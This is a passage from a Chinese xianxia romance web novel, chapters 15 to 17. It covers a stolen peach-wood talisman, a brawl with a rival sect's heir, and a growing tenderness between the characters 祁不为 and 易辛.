于是两人又调整了取药方向,等伏麟重新回到乾坤袋去养伤时,祁有为觑着她弟弟的脸色,问道:“你怎么了,有心事啊?”
说罢,她又看看祁不为放在桌上的一小盒玉瓶,打开闻了闻,既清凉又有浅淡香气:“这是什么?也是问甘华门要的?”
祁不为眉头微拧,想起前几日的事情。
他取药时,忽然想起易辛,便鬼使神差地多要了一份治外伤的药。
他觉得,易辛似乎很容易磕磕绊绊,身上不时有些淤青小伤。
还说易张稚宽厚,那人会记挂她小伤小碰的给她送药?
或许出于前世对他的厌恶,祁不为真是一点不想被易张稚比下去。
祁不为在路上一顿腹诽,然后停在了易张稚的住处,门开着,但他没有进去。
门里,易辛正专注练箭。
易张稚颇有为人师表的模样,手上拿着把戒尺,见她哪里姿势不对,便用戒尺拍在哪里。
见了此情此景,祁不为眉头拧起,面色却有些茫然。好像一时涌上许多滋味,却分不清什么是什么,不高兴也不生气,茫茫然,闷闷的。
他的思绪落在射箭上。幼时他练箭,父亲为了让他更好地理解姿势要点,总是从背后环过双手,架起他手腕与手肘。
祁不为很喜欢父亲那样教他,被人抱着时,爱意是流动而具象的。
虽然知道两人同处一个院落,但其实他从未亲眼见过他们的相处。现今一看,易辛和易张稚如此融洽熟稔,也许在他看不见的时候,他们也是这样教的……
祁不为默不作声地离开了。
——回忆至此,祁不为望着阿姐手里的膏药,恹恹开口:“也是治伤的,破皮流血,你拿去用吧。”
说完,祁不为就回了自己屋子。
后面几日,因为各门派掌事人都到齐了,他们便聚在一起,商谈仙门事宜,以及游历时遇见的妖怪,做到互通有无。
祁不为一直跟着,他们要洽谈,他便候在偏房。
他发现,易张稚根本没出现。到现在为止,祁有为都没和易张稚碰上。
说不清什么感觉,但心里并不舒服。
他甚至荒唐地想,人闲下来,果然会出各种毛病,前世来说,这时候的他和祁有为,已经掉入封印里九死一生去了……
饭桌上,祁有为咬着筷子看他半晌,最后忍不住问道:“你怎么又这副死气沉沉的样子?”
“我怎么了?”他掀起眼皮,懒懒地看祁有为一眼。
祁有为一针见血:“看看你,说话都有气无力的。易辛现在不是找着了嘛,你不想和仙门打交道,就去找她玩儿啊。”
“……跟她有什么关系?”
祁有为懒得多说,当初易辛离开山庄,他就这样一直发呆发呆,无聊得仿佛人生只剩等死。
祁有为不明白:“不是,易辛是不喜欢你么?她讨厌你了?”
他有些不耐:“跟她有什么关系。”
“你鹦鹉啊!只会重复这一句?”祁有为白了他一眼,“那你闷闷不乐的干嘛?不知道的以为你害相思病了。”
祁不为猛地顿住了,像猫被踩中尾巴似的,脸色一阵红一阵白,急切道:“我对谁相思病?对易辛?!我疯了!我有病!”
她呵呵笑了一下,毫不客气:“你是挺有病的。”<
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祁不为瞪住她。
她视若无睹:“那你这样为谁啊?是别家姑娘吗?你放心,只要你有意,阿姐一定帮你上门说亲。”
“扯哪儿去了?我不喜欢谁,我就是很膈应!”祁不为胡乱说道。
“膈应?”祁有为疑惑,神情渐渐带了笑,盯住他,犀利地抽丝剥茧,“易辛做了什么,让你觉得膈应?”
“还是说——她和谁一起做了什么,膈应你了?”
祁不为几乎要脱口而出,对上祁有为八卦的脸,蓦地顿住了,立即把易张稚的名字吞回肚子里,另一股惯性念头击中了他——
他怎么能在祁有为面前提易张稚。
虽然他们没见过,但任何隐患都要掐灭在摇篮里。
这么想着,他心神又猛地一震,他居然和祁有为绕着易辛扯了这么多?
易辛关他什么事?他根本不可能因为她单相思!
他喜欢的……明明是祁有为。
祁有为嘴唇翕合,整张脸因为发现了八卦而神采奕奕。但他听不到她说话,只呆楞愣地凝视眼前这张脸。
他是喜欢祁有为的……和阿姐吃饭说话,仍旧让他无比开心。
但和从前的开心……似乎又不一样。
他似有些痛苦,五官微微皱了起来,神思恍惚。
忽然,祁有为一拍桌面,把他惊醒了。
祁有为把药盒推至他身前:“我身上备了许多这种药膏了,你送别人吧。”
他望着药膏,没动。
祁有为无语:“别发痴了,快收起来!看你自己一脑门包的样子,糊涂得很,多想想吧……。”
说罢,她又从桌子底下拿出一坛酒:“仙门那些二世祖要去芙蓉镇上吃饭,他们邀了我,我今日有事去不成,你替我去吧。然后用这坛酒换掉酒楼的,但不要被发现了,而且要看着二世祖们都喝下去。”
“……这酒里有什么?我要喝吗?”
“可以喝,这酒我自有用处。”
祁有为没明说,显得意味深长的。祁不为也没多问,只点点头。
华灯初上,祁不为同二世祖们一道饮酒作乐,和钱衡和谐得仿佛什么都没发生,两人皆心照不宣。
一坛酒下肚,一滴不剩。祁不为瞥了眼酒坛侧面难以发现的印记,正是他暗中调换的,酒席间,他不着声色地让所有人都喝了下去。
众人谈着游历除妖时的经历,兴致上头后,言辞澎湃,互相吹捧,说什么待继任门派后,要将门派发扬光大,彼此勿相忘,需记得今日情谊,往后共同扶持仙门大业。
二世祖们说着二世祖的话,十分合理。
觥筹交错间,祁不为捏了小酒瓶,退到窗边轩台上,临街下望。
芙蓉镇上人流如织,喧哗热闹,淹没了二世祖们的聒噪。
祁不为仰头喝下一口酒,目光忽然定在一人身上。
易辛正在街边的小摊上挑选东西,一面挑拣一面同身旁的易张稚说话。
易辛一直笑着,温软可爱,和他从一处流连至另一处,乐此不疲。
易张稚边应和易辛,边付钱提东西,似乎在讨她的欢心。
酒劲从胃里反上来,化作一团气,梗在胸膛里横冲直撞,涩得发涨。祁不为咽了咽喉咙,想把不适吞下去,却牵连出更膨胀的滞涩感。
前几日说担心他的安危,现在又和其他男子夜游,以前怎么没发现她如此三心二意?
祁不为顶了顶腮,仰头囫囵倒酒。
46. 第十五章
喧闹大街上,易张稚端详刚买的珠翠:“祁庄主会喜欢这些东西吗?感觉她不像在意妆面首饰的人。”
易辛摇头:“我每回见到庄主时,她穿戴的珠钗都不同,而且和每套衣裳都很协调,说明这是她精心挑选搭配的。所以我觉得,倘若你要送她东西,她会喜欢首饰胭脂的。”
易张稚再看珠翠几分,转头去望易辛:“你很细心,我都没注意到她的衣裳首饰有何不同。我以为她平日里降妖除魔,和寻常女子不同,不会喜欢这些繁琐的物什。”
易辛:“……”
易辛:“庄主肩负职责,也不妨碍她有爱美之心呀,两者不冲突。”
末了,她又好奇道:“你既然没注意到这些,那你平素看她时注意到了什么?”
易张稚:“她很漂亮。每日都很好看。和旁人说笑时好看、谈事时的严肃认真、施展术法时流畅的身姿……”
她身上的每一寸都那么美好。
所以他根本没注意到发钗首饰。
一见钟情呐……易辛感慨着,又想想可能男子与女子的思考方式不同,最后笑道:“这句话你可以直接告诉她,方才的珠钗首饰之言就不必了。”
易张稚认真点头,向易辛道谢:“谢谢你。帮我挑礼物,还提供了吃饭的地方。”
“公子客气了。你平日还教我射箭呢,况且庄主待我们素来很好。”
那日祁有为帮易张稚上药后,问道该如何感谢上次搭救之恩。易张稚道身上有伤后,需要清淡饮食,祁有为是南方人,便希望她做一顿南方菜肴。
仙门齐聚甘华门,厨房十分忙碌,祁有为不好意思占着一个厨房耽搁大家的事,这时易辛便想到了白三清在芙蓉镇租下来的屋子。
得到白三清首肯后,易辛便把易张稚带去那片地方。
走到宅院门口,易辛朝易张稚笑道:“庄主应该在屋中备菜,那我就先告退了。”
最后易张稚朝易辛再次道谢。
一处寝屋内,桌上摆着香炉,烟雾袅袅,渐而向上时,凝成一小块幕布,其间画面闪烁。
昏暗山洞内,易辛举起箭矢,猛地扎向流双。
一柄剑来,折断箭矢,前半截擦着易辛飞入不知何处。
画面到此处,烟雾消散。
钱备拿起从甘华门要来查看的前半截箭矢,目光深不可测,直到门外响起敲门声。
“进。”
弟子李冲进门,说话之前率先合上了门,再恭敬行至钱备面前,从衣襟里拿出一截光秃秃的木头:“宗主,这便是那侍女精心呵护的木头。”
“易张稚和那侍女都出去了?”
“是,他们没发现。”
钱备拿过桃木,观其外表,毫无异处,再注入灵力时,桃木没有丝毫反应。他不禁皱起了眉。
李冲问道:“宗主,它难道只是一截普通木头?”
钱备再举起箭矢:“这只木箭虽失了效力,但还蕴藏了几分气息,如果不是隐士高人留下的,便是哪位上神之物。”
“那侍女连修仙术法都不会,还能得到神仙留下的东西?”
“人的际遇,谁又说得准?”钱备捏起桃木,“箭是木头制成的,它也是木头,但一点反应也没有。”
钱备眯起眼睛:“如果最后研究不出什么,就把它烧了。”
一夜过去,钱备始终没激发出任何东西,只得唤来李冲,让他盯着把木头销毁得一干二净。
吩咐完,钱备换过一身衣服,去赴门派会议。
这几日总是开会开会,他隐隐不耐,不知李纳川那个老头子怎么有那么多事要说,真把鸡毛当令箭了。
但他转念一想,仙首之位李纳川也做不了几日了,于是他又深深吐出一口气,决定大发慈悲地再忍几日。
李冲拿上桃木,准备前去销毁,半路却遇见了宿醉的钱衡。
“你手上拿的什么?木头?”钱衡喝完酒后,语气有些冲。
李冲向钱衡行礼,观他一副神智不清的模样,不想惹麻烦上身,便搬出了钱备:“宗主吩咐弟子烧掉。”
一听“宗主”二字,钱衡神色清明几分:“我爹烧一截木头做什么?它有何用?”
“宗主研究了许久,发觉它没用,便打算烧了。”
钱衡盯着木头,知道这是钱备的习惯,以往发现什么东西,总会研究一番,若是无用,便销毁。
他想起前几日惹他爹生气,若是能将功补过……
“你把木头给我,我来研究研究。”
李冲犹豫了:“这……”
钱衡一瞪:“我说给我就给我,反正也没用了,我研究一番不行?!你敢忤逆我?”
纠结片刻,在钱衡施压之下,李冲还是把木头给了钱衡。
日光大盛,易辛悠悠转醒,先洗漱一番,再去院墙下给花草浇水。
易张稚之前说,在望天谷看日出很美妙,如今一夜未归,也不知是不是拉着祁有为去看日出了。
易辛放下水瓢,再回屋子,打算把锁在柜子里的桃木摆出来晒晒太阳。
站在柜门前时,易辛顿住了,隐隐有些异样。
她看着锁住门柜的锁。
昨日出门时,她走得匆忙,锁似乎被她带歪了,如今却端端正正地垂下。
易辛不禁屏住呼吸,插钥匙、拔锁、用力拉门——
柜子里放着盆栽,桃木光秃秃的,日光照出清晰的斑痕。
她顿了片刻,再拿出盆栽,仔细端详,一切正常。
忽然,她抽出桃木,放在手心用力一摁,霎时间断成两截……连带着她似乎也被撇成了两半。
桃木是折不断的。
骤然间,易辛头皮发麻,心如擂鼓,每次跳动,都掀起一片尖锐的疼痛和恐惧。
盆栽坠落,啪地清脆声响中,瓦片炸裂,覆土散落一地。
易辛撑在柜门上,忍住刺痛,努力调整气息。
有人趁着她外出,拿走了桃木。
是谁?
为什么?
如果桃木毁了……
易辛面色惨白,眼眶因为愤恨染了红,捏紧手中断木,跑出了房门。
白三清正和余桓在房里争地盘,忽闻急促的敲门声,两人对视一眼,白三清立马化作青烟钻入乾坤袋里。
余桓上前开门,看见脸色难看的易辛:“易辛?你——”
易辛抢先开口:“师兄,小白在吗?我想让她帮我追一个味道。”
余桓让易辛先进来,再关上门。白三清时刻注意着外边的动静,一听是易辛来了,又跑出乾坤袋:“追什么味道?”
看清易辛脸色,白三清大骇:“你怎么了?!病了?”
易辛不答反问:“之前我让你记住桃木的味道,你现在能闻出它的踪迹吗?”
以防万一,易辛和白三清一路游玩过来时,让她闻过几次桃木,就怕出现今日的情形。
白三清点
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点头,易辛再转向余桓:“师兄,可否请你带上乾坤袋,让小白呆在乾坤袋里,但是不系口,她还能闻到外面的味道吧?也不会被仙门其他人发现?”
余桓颔首。
事不迟疑,三人出发,最后一路追踪到了无相宗下榻的院落门前。
“无相宗?”余桓面色凝重,“他们拿了你的东西?”
易辛觉得意外,又觉情理之中,侧首对他说道:“师兄,你带小白回去吧,再深入有可能被发现,若是无相宗知道了小白的存在,可能对她不利。”
余桓:“你和我一起回去,我们先把小白放下,再来问无相宗要东西。”
“不行,我等不了。如果我应付不了,会向你求助的。毕竟我也没办法和他们硬碰硬。”
余桓还是不放心,但再掰扯下去,也是耽误易辛时间,最后只好应她要求施术变了一个食盒。
“可是你怎么确定是谁拿了你的东西?无相宗那么多人。”余桓问道。
易辛拿出那截假桃木:“师兄能否再帮我一个忙?”
她赌偷东西的人没有隐去自己气息。
易辛提着食盒走向门口,被无相宗的人拦了下来。
易辛:“各位师兄,我奉命来送些点心。”
甘华门每日都会给各门派送食物,除去正餐,还有特色小点。易辛对整套流程十分熟悉,加上穿了甘华门侍女的衣裳,最后得了应允入门。
侍女们对个人居住的地方驾轻就熟,于是一般无人引导。
易辛抬眼看着余桓追踪气息的灵蝶,见它朝一处地方飞去,抬步跟上。
一路转过几道长廊,灵蝶飞入一间屋子,易辛赶紧小跑两步。
屋内,李冲正面朝钱衡说话,没注意一只灵蝶飞进了身体里,对面的钱衡倒是忽然怔住。
李冲顺着视线望去,眼睛微微瞪大,是易辛。
易辛没有错过灵蝶的去向以及他惊讶的神情,但是她不确定了——她不认识此人,他为什么要偷自己的东西,是钱衡指使的?
短短一瞬间,易辛忽然瞥到屋子中央的火盆。
如今正是夏季,屋内生火太奇怪。
蓦地,一股寒意自脚底而起,几乎让易辛颤栗起来。
“你谁啊?来做什么?”钱衡拧眉问道,又疑惑起来,“……我好像见过你。”
易辛恍若未闻,冲向火盆,手几乎要伸进去了,却被李冲猛地拉住,甩在地上。
李冲高声喝止:“你干什么!”
钱衡顿觉此女有病,刚想骂人,脑子里忽然想起什么:“你……你是那个——”
他想起来了,是那个被他抓去喂茧妖的甘华门侍女,但他及时止住了话头。一旦说出口,那就是认罪……好险,差点祸从口出。
易辛不说话,满脑子只有火盆,刚被李冲掀在地上,又不管不顾地爬起来,再度去向火盆。
钱衡莫名,不知她什么意思,但也有些心慌,因为他不久前把桃木扔进了火盆。
他琢磨半天,本想将功补过,奈何实在搞不出个所以然,就被李冲盯着烧了。
李冲自然知晓其中缘由,但没想到这么快就被易辛发现,还追到了这里。他连忙摁住易辛,斥责道:“你这侍女好大胆子,竟敢在这里作乱!”
易辛用尽蛮力挣扎,瞪住李冲时,目光异常雪亮,仿佛从瞳孔深处燃起了两把火,她怒吼道:“你偷了我的东西!你是不是把它烧了!火盆里在烧什么!”
47. 第十六章
李冲:“我都不认识你,偷你的东西做甚!倒是你一个侍女闯进来,你想做什么!”
易辛驳斥:“你偷了我的桃木,还用假桃木骗我!用术法追踪假桃木,就能追到你身上!”
李冲变了脸色,依旧死不承认:“胡言乱语!”
钱衡听完,终于明白桃木是易辛的东西,那截桃木分明再普通不过,爹研究过,他也研究过,但他爹为何觉得这桃木不同寻常,甚至特意派人偷过来?
只是此时此刻,无论如何都不能承认无相宗拿了一个侍女的东西!
易辛扭开李冲的钳制,从怀里掏出一截断木,质问李冲:“要是不信,你就喊人来试试,看我有没有冤枉你!”
不等李冲说话,易辛手中假桃木一松,直直飞入火盆中,钱衡收回施法的手,喝道:“随便拿根木头就想污蔑我们无相宗弟子,你把无相宗当成什么了!”
假桃木一入火盆,挑动了里头的东西,让易辛看见了风疏送给她的真桃木。
易辛颤抖:“我看见了……我看见了……!”
说罢,她又扑向火盆,李冲真怕她翻出东西,一时什么都顾不上,瞬身上前,抬脚一踹,把人飞踹到门边。
易辛胸口上捱了一脚,钝痛无比,仿佛连呼吸都踹断了,脸色涨得紫红。
她趴在地上,喘气连连,食盒不知何时已经翻了,瓷碟四碎。
李冲上前,停在易辛身旁,严厉道:“火盆里是宗门信件,此等机密,怎能给你一个外人——啊!!!”
话没说完,李冲陡然惨叫一声,听来痛苦不堪,低头一看,碎瓷嵌进小腿里,随着身体的颤抖而微微抖动,白瓷上满是血迹。
在他靠近时,易辛便摸到手边一块瓷片,狠狠扎进李冲小腿。看她脸色,好像可以的话,她更想截断这条腿。
李冲抬脚又是想踹,易辛早有防备,徒手铲动他另一条腿,叫他猝不及防地摔倒在地,头闷进火盆的前一瞬,钱衡眼疾手快地施法移开火盆,朝屋里去得更远。
李冲狼狈至极,没想到被一个小侍女弄成这番模样,再想起身教训易辛,却被钱衡揪住衣裳甩向一边。
一番动静下来,早已惊动了数名无相宗弟子,众人围在屋外,看着还趴在地上的易辛。
钱衡从易辛身上看出一股愚不可及、自不量力的倔强,他忽然有些兴奋,他就想看易辛一次次尝试、挣扎、失败,最后把意志磨得一干二净,只剩绝望哭泣。
钱衡挡在火盆前,对易辛笑道:“你想看火盆,可以,只要你能摸到它。”
话落,钱衡一挥手,门外数名弟子鱼贯而入,排成两列,一边伸出一只手,作出阻拦的姿态。
“既然你不修行,我们也不用术法,很公平。”钱衡说道。
可常理来说,男女力量本就悬殊,何况这么多男子拦住易辛一人。
钱衡又补充道:“你若是被拖出屋外,就永远看不到火盆——”
他话未说完,易辛陡然间从地上爬上起来,并不从中间数道人形手锁里穿过,而是另辟蹊径,向旁边跑去,绕过那些弟子。
众人一时间都愣住了,钱衡也是。
他话都没说完,易辛居然就动了。
而那些弟子正等钱衡的下文,也都以为易辛会从中间突围。
大家反应慢了两拍,易辛没有一味往前冲,在弟子们反应过来要阻拦时,她侧身抓起凳子椅背,借着旋身的力量抡足了半圆,毫不留情地砸在其中一名弟子身上。
那人被砸得退后好几步,倒在其余弟子身上,如此一来,又阻拦了几人的脚步。
这时,有人从旁冲上来抓易辛,她抄起桌上茶杯,不砸身体,只狠狠对准面门。
对上易辛绷紧而决绝的面容,对方下意识躲开茶杯,她故技重施,又把人推进人群里。
混乱间,还是有人趁机扯住了易辛胳膊。
在更多人围上来之前,易辛行云流水地拔下发簪,刺向那人颈部,那名弟子眼疾手快地钳住她手腕。
一时间,易辛两手都被压制住,对面刚要施力,但见她抬脚屈膝,正中□□。
钻心的痛楚袭来,他猛地腿软蜷缩在地。
倒地的倒地,惨叫的惨叫,场面一时滑稽无比,钱衡气不打一处来,忽闻易辛骤然高呼:
“无相宗宗主!你光看不出手吗!”
众人顿时呆住,齐齐望向门口。
几息之间的空隙,易辛奔向钱衡。
门口空空如也,瞬间大家反应过来,他们都被易辛骗了!
钱衡立即捕捉易辛动向,冷不丁眼前一晃,她已经跑到自己身前,伸手揪住他衣襟,防止他逃跑似的。
钱衡几乎是下意识的反应,猝然伸爪,铁一般箍住易辛脖颈,却见对方视若无睹。
余光里,骤然瞥见易辛抬手,掌心一只木箭,箭尖直朝他而来!
刹那间,钱衡就直觉那不是普通的箭。
他甚至胆寒到无法作出反应,眼睁睁看着易辛刺向自己。而她向来温顺的脸似乎也被怒火烧出了可怖又摄人的皲裂。
那一刻,钱衡从易辛眼中读出了类似于把老实人逼急后迸发出的杀意!
从头到尾,易辛都知道,单凭她自己根本无法够到火盆,即使摸到了,她不信钱衡会信守诺言。
她太弱了,她想拿回桃木,可她时时刻刻都在桃木可能已经毁掉的煎熬恐惧之中。
她太恨了,恨到想杀死钱衡。
而只要这样,必生混乱。混乱之中,她总能拿到桃木!
所以——她对钱衡下了死手!
这一刻在两人之间无限拉长。
易辛和钱衡都看着箭一寸寸靠近他身体,仿佛要把他的魂魄从身体里逼出去,让他魂飞魄散!
蓦地,有人攥住了她手腕,箭无法再往下一寸。
两人尚未反应过来,钱衡紧接着被一脚踹飞,砸烂了屋中桌椅。
钱衡似痛苦至极,整张脸都扭曲了,闷咳间,迸出一缕又一缕的血。
桃木刷地从火盆中飞出,易辛本能地循着望来,桃木悬在祁不为手心里。
易辛盯紧桃木,这截木头她看了上百次,没有折断,也没有烧坏一角。
桃木完好无损!
这时,易辛似乎才察觉到自己激烈而紊乱的心率,血液好像在体内湍急奔流,撞得眼睛发晕,耳朵嗡鸣。
全身紧绷中,易辛僵硬抬眼,对上祁不为直直盯住她的目光。
他把桃木举到易辛身前:“我先帮你保管,可以吗?”
易辛听得不是很清楚,肃立却呆楞地望着祁不为。
他感觉易辛像个小火球,又略一用力捏住了她手腕。
“把箭收起来。”
施在手腕上的力度,让易辛大致明白他的意思,手一松,箭凭空消失。
钱衡看着祁不为,怒极了:“咳咳……祁不为……你敢伤我……”
祁不为握着易辛手腕,轻轻放下,让它好好垂在身侧,又对她平静道:“站到旁边去,无论看到什么,都别害怕。”
易辛望他须臾,在他的指引下退到一旁。
弟子们早已涌到钱衡身边,把人扶起。
那一脚似乎踹得不轻,钱衡面色铁青,缓过一口气后,抬手粗鲁地抹掉血迹,把身边搀扶之人通通拂开,满脸阴鸷,他上前几步:“祁不为!今日,我们新账旧账一起算!”
两人默认只施展拳脚,不斗术法,众人不自觉让开场地。
钱衡身材魁梧,一身腱子肉,光看面相身形,压迫感十足,他怒喝一声,一拳打向祁不为。
祁不为侧身避开,顺势捏紧钱衡手腕,抬手作
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刀,痛击他的肘部关节。
钱衡痛得神情一凛,整条胳膊都麻了,下一瞬,祁不为又是抬膝,他再次飞了出去。
钱衡这次振作得很快,怒吼一声,两人斗得愈发凶狠起来。
众人看着都捏了把汗,李冲一瘸一拐地站在角落里,心里止不住颤栗,这事越闹越乱了……如果被宗主知道……
祁不为挨了几拳,脸上立马挂彩,但钱衡伤在身上,更为严重。
又是一掌后,钱衡猛退几步,跌在椅子里,打到现在,他知道自己胜不了祁不为,恼怒之下,说话丝毫不过大脑。
“爹娘死得早,没人教还能练到这个地步,吃了很多苦吧!真可怜!”钱衡讽刺一笑。
此话一出,祁不为脸色倏变。
众人顿觉屋内温度骤降,祁不为瞳孔黑得无边无际,寒意浓得化不开,整个人就像阴鬼,只要动一下,就会把钱衡撕成一片一片碎肉。
钱衡怒火上头,根本没发觉气场不对,只觉戳中了祁不为痛脚,心中倍感畅快,还要出言侮辱讥讽几分,却忽然高声惨叫:“啊——!”
惨叫变调了几回,一度拉长,显得无比凄厉。
易辛拔掉了烛台的蜡烛,露出铜制尖锥,用尽全身力气狠狠扎进钱衡手背!
尖锥在手背上戳出血窟窿,穿透椅子扶手。
钱衡痛呼到后半程几乎失声,目眦欲裂地瞪着易辛,看起来简直想杀了她……可他没有力气,痛楚一波波窜上大脑,可恨那易辛,面无表情,堪称冷静,一双眼满是怨毒。
易辛毫无伤人见血之愧疚惶恐,她松开烛台,绷着下巴看钱衡惨痛无比。
她不信李冲无人指使,从进屋看见钱衡的那一瞬,她就想扎穿他的手了。
小时候父母教训偷东西的孩子,总是拿针扎手。
可知她一直静待时机。方才那一箭没射下去,现在扯平了。
弟子们瞬间慌了神,纷纷围上来看钱衡伤势,根本没人管易辛。
易辛退出人群,拉住祁不为的手。
“我们走吧。”
祁不为没有动,目光死死盯住人群缝隙里惨叫连连的钱衡。
易辛手上施了力度,掰过他下巴让他看着自己:“祁不为,我们走吧。”
祁不为眉头动了一下,被易辛拉着离开。
一路上,易辛已经缓了过来。
到了住处,她松开祁不为的手,把人按在椅子上:“公子,药放在何处?你脸上需要抹药。”
祁不为沉默,双目看似无神,却又仿佛陷入了浓烈的恨意当中。
易辛不再问他,在他屋子里翻找膏药。祁不为放东西的习惯没有变,她很快找到了一小方玉盒,膏药清凉好闻。
瓶身上贴了张小纸,是治外伤的。
易辛先告知祁不为一声:“公子,我给你上药。”
说罢,她把药在手里化开了,再不轻不重地敷在祁不为脸上。
牵动伤口是痛的,但祁不为动也不动,像尊木头,更没发现易辛竭力抑制却还是微微颤抖的双手。
两人都很安静。
抹完药后,易辛把药盖好放回桌面上,顺势借力撑了一下:“公子……你好好歇息,我先回去了……”
其实往常来说,易辛不会在这时离开祁不为的。他身旁空无一人,若是情况不对,根本没人发现阻止,但她心口越来越痛,连站着都很勉强。
她觉得自己随时都会晕倒。
祁不为脸色变了一下,似乎回过神来,退去了身上寒意,发觉易辛声音似有勉强。
他抬眼去看易辛,只见她脸色惨白,唇色全无,嘴巴微微张着,进气多出气少的模样。
祁不为面色一紧,顿时起身扶住易辛:“你怎么了……哪里不舒服?”
易辛一下子脱力,往后倒去。
48. 第十七章
“易辛……!”
祁不为声音都变了,搂着她一起半跪于地,让人躺在怀里。
他立即往易辛体内注入灵力,灵力扫遍全身,并无异常。
缓过那阵尖锐的疼痛后,易辛神智清醒些许,费力搭上祁不为手腕:“我没事……过一会……就好了……”
其实在甘华门这些日子,她心口也痛过几回,只要忍过去,慢慢就好了。
今日虽然痛得过分,但也总会过去的。
只是在祁不为看来,易辛这话属实没有说服力,她面色青白,仿佛随时都会咽气。
果不其然,下一瞬,易辛眉头蓦地拧起,口中不禁闷出痛呼,让她翻出祁不为怀里,扑在地上。
冷汗唰地一下冒出来,额头颈项青筋暴起。
她伏跪于地,身子蜷缩,头几乎抵住地板,手死死揪住心口衣服,瞬息之间,硕大的汗珠便滴在了地上。
“易辛……?”祁不为喉咙发紧,神情有些无措,想要扶起易辛,又不敢伸手,仿佛碰她一下都能加剧痛苦。
电光火石间,祁不为回想起归墟境的情景,胡乱问道:“我抱你……抱着你是不是会好很多?”
易辛痛得发不出声音,也听不到他说了什么,只感觉有人搀了一把,拉起她上半身,随后覆过来温暖厚实的胸膛。
背上交叠两条胳膊,似乎不敢抱得很紧,手心温柔又安抚地轻轻拍打。
“易辛……对不起,对不起……”
耳边声音朦胧模糊,仿佛从水中传来,却含着不易察觉的胆怯恐慌。
易辛眼睛眨得很慢,艰难吐息,她好像吓到祁不为了……
但她有些不明白……他道歉什么呢?
最后她没有问,只是挣扎着抱紧了祁不为,贪恋这具鲜活温暖而真实的躯体,针刺般的疼痛加剧袭来时,她忍不住咬紧了祁不为肩上的衣服,不确定有没有咬住皮肉,但她痛得身子僵硬紧绷,没法松开齿关了。
须臾,干燥微凉的触感落在耳垂上,易辛陡然从混沌中清醒过来——
祁不为在吻她的耳垂!
下一瞬,微凉过后,那片干燥分开些许,耳垂被温热湿滑的唇含住,有什么似有若无地扫过那截耳垂。
易辛心口仿佛起了电,麻得她拧紧眉头,不由得松开了咬住的衣裳,微弱喘息着。
祁不为对着耳下那片软肉辗转反侧,厮磨轻咬。
耳垂很快充血,红意迅速布满整个耳廓,呼吸洒在上面,易辛感觉有些晕眩,下意识攥紧了祁不为的衣服。
接着,她感到温热离开,还没反应过来时,祁不为又吻上她的侧颊,沿着下颔线温柔流连。
似乎为了方便,祁不为一手揽住她的腰,一手扶住耳朵至颈侧那一片,拇指微微用力,便让易辛抬起了头,露出半截面颊。
他抱紧易辛,不带任何情欲地亲吻下颔。
两人呼吸交融,脸几乎贴在一起。
易辛越来越目眩神迷,鼻尖充斥着祁不为的气息,头微微一侧,便能碰到他的脸。
她本能地抬起手,环过祁不为后颈,头一歪,便吻在了他侧脸上,开始有样学样。
所有变化只在瞬息之间。
眼泪和吻都蹭在脸上,祁不为骤然僵住,仿佛听见身体深处兹啦一声,火苗沿着引线猛烈窜起,一路烧到天灵盖。
体内所有水分都被蒸干,他莫名躁动不安。
他好像才是那个亟待易辛拯救的人,偏偏她在脸上一路流连,迟迟没找到正确的地方。
终于,温软触感靠近唇边,祁不为倏地屏息凝神,动也不敢动。
下一秒,肩膀一沉,他跟着晃了一下。
低头去看,易辛昏睡过去了……
又……?
夜半时分,迷蒙间,易辛热醒了。
她迷迷糊糊睁开眼,将被子掀开,接着突然顿住了,只见腰上搭着一条手臂,还是男子的。
猝然回头,祁不为正枕在她身后,闭目沉睡。
她先是松了口气,不是什么陌生男子,继而又惊悚起来——祁不为怎么睡在她床上?!
她紧张了片刻,再环顾四周,发现这其实是他的寝屋,记忆渐渐回笼……
她心口痛,然后昏了过去……只是……她好像抱着祁不为乱亲?!
此时此刻,易辛不由得揪紧了床褥,仿若要生生扣破个洞来……同样的错,她居然犯了两遍……她明明说过不会纠缠祁不为!
无形中,仿佛有响亮的巴掌打在自己脸上……
易辛已惊出一身冷汗,也不知怎么爬上了祁不为的床,趁着他在睡觉……不然还是灰溜溜地跑吧。
她实在有些不知如何面对……
她伸出两指,小心翼翼捏起祁不为胳膊上的衣服,再缓缓坐起身,鞋子也不穿了,弯腰打算拎起那双鞋便悄摸摸离开。
即将摸到鞋时,身后忽然响起一道暗哑的声音。
“去哪儿?”
易辛僵住,塌沉了两分,被褥窸窸窣窣,身后有道黑影压了过来。
祁不为扶着她的肩,把人转过来,清泠月色下,易辛一张脸有些白。他拧起眉头:“心口还痛吗?”
感受些许后,易辛僵硬摇头。
“要去如厕?”他又问,睡醒后嗓子有些沙哑。
易辛脸微微发红,抿唇摇头……她犹豫着要不要问两人怎么躺一张床上了,又想他怎么还没发怒问罪?
祁不为耷拉着眉眼,似乎没睡醒,抬手拦过她的腰,两人重新躺倒,他嘟囔道:“天都是黑的,再睡会儿。”
易辛硬邦邦地躺着:“我……我回去吧……”
这话怎么听怎么不对劲……
“回去干什么?生病吃药都要巩固,你昨天痛得那么厉害,不多抱会儿,又痛起来怎么办?”
歪理……听得心里痒痒的。
但易辛终归有些不自在,朝外挪了一点:“热……现今是夏天……”
说罢,她扭头去看祁不为,鼻尖差点擦碰过他的,祁不为不知何时已经掀起了眼皮,她便直直地撞进了对方视线里。
他看起来有些不满,不知是不是吵到了他睡觉。
“就你一个人热吗?”祁不为凉凉道。
“所以我还是回——”
“忍着。”
易辛只得噤声。她眸子盛着月色,望向祁不为时,安静软和。
祁不为手一伸,把两人被子都掀掉了,最后自然地环过她的腰,放在她背后。
易辛手指蜷缩着,明知他只是出于安抚,仍止不住心旌摇曳。
室内静谧,月华透过窗棂倾洒在塌上,仿佛为二人披上轻柔的云烟。
“易辛。”
“嗯?”
“我觉得……我不讨厌你。”
话落,易辛眼眸微微睁大,一时不明白他的意思,一时又禁不住震惊。
她杀过祁不为,所以他讨厌她、恨她,合情合理。
以他睚眦必报的性格,她从没想过祁不为会说出这句话。
说完这句话后,祁不为也陷入了沉默,静静望着她的脸和眼睛。
点日曾说,怨念也是一种诅咒,或许在他不知情的时候,那份怨念便咒在了易辛身上,所以她会出现心痛病症。
重生之际,他绝对是憎恨易辛的,但目睹这两次易辛发病后,他不得不承认,他不想看见易辛如此痛苦。
如果他告诉易辛,自己不讨厌她,是否能解开怨念的诅咒?
毕竟……这一世的易辛,是无辜的。
金陵说得对,易辛还未作出杀他之事……他不能用将来未发生的事来定她现在的罪过。
这对易辛来说,是不公平的。
迸出这个念头时,祁不为仿佛听见天地间传来一声遥远的叹息,又好像是他心底里发出的。
杀他的,是上辈子的易辛……
